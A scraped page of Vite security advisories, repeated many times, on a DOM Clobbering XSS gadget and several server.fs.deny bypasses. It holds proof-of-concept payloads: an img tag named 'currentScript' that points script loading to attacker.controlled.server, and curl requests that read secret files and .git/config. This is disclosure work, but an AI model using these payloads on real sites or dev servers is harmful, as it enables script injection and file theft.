cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
🚨 Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
🚨 Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
🚨 Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
🚨 Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
🚨 Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
🚨 Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
🚨 Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
🚨 Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
🚨 Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
🚨 Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
🚨 Vite's `server.fs.deny` did not deny requests for patterns with directories.
Summary
Vite dev server option
server.fs.denydid not deny requests for patterns with directories. An example of such a pattern is/foo/**/*.Impact
Only apps setting a custom
server.fs.denythat includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--hostorserver.hostconfig option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.denyuses picomatch with the config of{ matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']and then curl for/.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc).- with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
🚨 Vite's `server.fs.deny` did not deny requests for patterns with directories.
Summary
Vite dev server option
server.fs.denydid not deny requests for patterns with directories. An example of such a pattern is/foo/**/*.Impact
Only apps setting a custom
server.fs.denythat includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--hostorserver.hostconfig option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.denyuses picomatch with the config of{ matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']and then curl for/.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc).- with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
🚨 Vite's `server.fs.deny` did not deny requests for patterns with directories.
Summary
Vite dev server option
server.fs.denydid not deny requests for patterns with directories. An example of such a pattern is/foo/**/*.Impact
Only apps setting a custom
server.fs.denythat includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--hostorserver.hostconfig option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.denyuses picomatch with the config of{ matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']and then curl for/.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc).- with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
🚨 Vite's `server.fs.deny` did not deny requests for patterns with directories.
Summary
Vite dev server option
server.fs.denydid not deny requests for patterns with directories. An example of such a pattern is/foo/**/*.Impact
Only apps setting a custom
server.fs.denythat includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--hostorserver.hostconfig option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.denyuses picomatch with the config of{ matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']and then curl for/.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc).- with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
🚨 Vite's `server.fs.deny` did not deny requests for patterns with directories.
Summary
Vite dev server option
server.fs.denydid not deny requests for patterns with directories. An example of such a pattern is/foo/**/*.Impact
Only apps setting a custom
server.fs.denythat includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--hostorserver.hostconfig option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.denyuses picomatch with the config of{ matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']and then curl for/.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc).- with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
🚨 Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem
Summary
Vite dev server option
server.fs.denycan be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details
Since
picomatchdefaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.See
picomatchusage, wherenocaseis defaulted tofalse: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632By requesting raw filesystem paths using augmented casing, the matcher derived from
config.server.fs.denyfails to block access to sensitive files.PoC
Setup
- Created vanilla Vite project using
npm create vite@lateston a Standard Azure hosted Windows 10 instance.
npm run dev -- --host 0.0.0.0- Publicly accessible for the time being here: http://20.12.242.81:5173/
- Created dummy secret files, e.g.
custom.secretandproduction.pem- Populated
vite.config.jswithexport default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }Reproduction
curl -s http://20.12.242.81:5173/@fs//
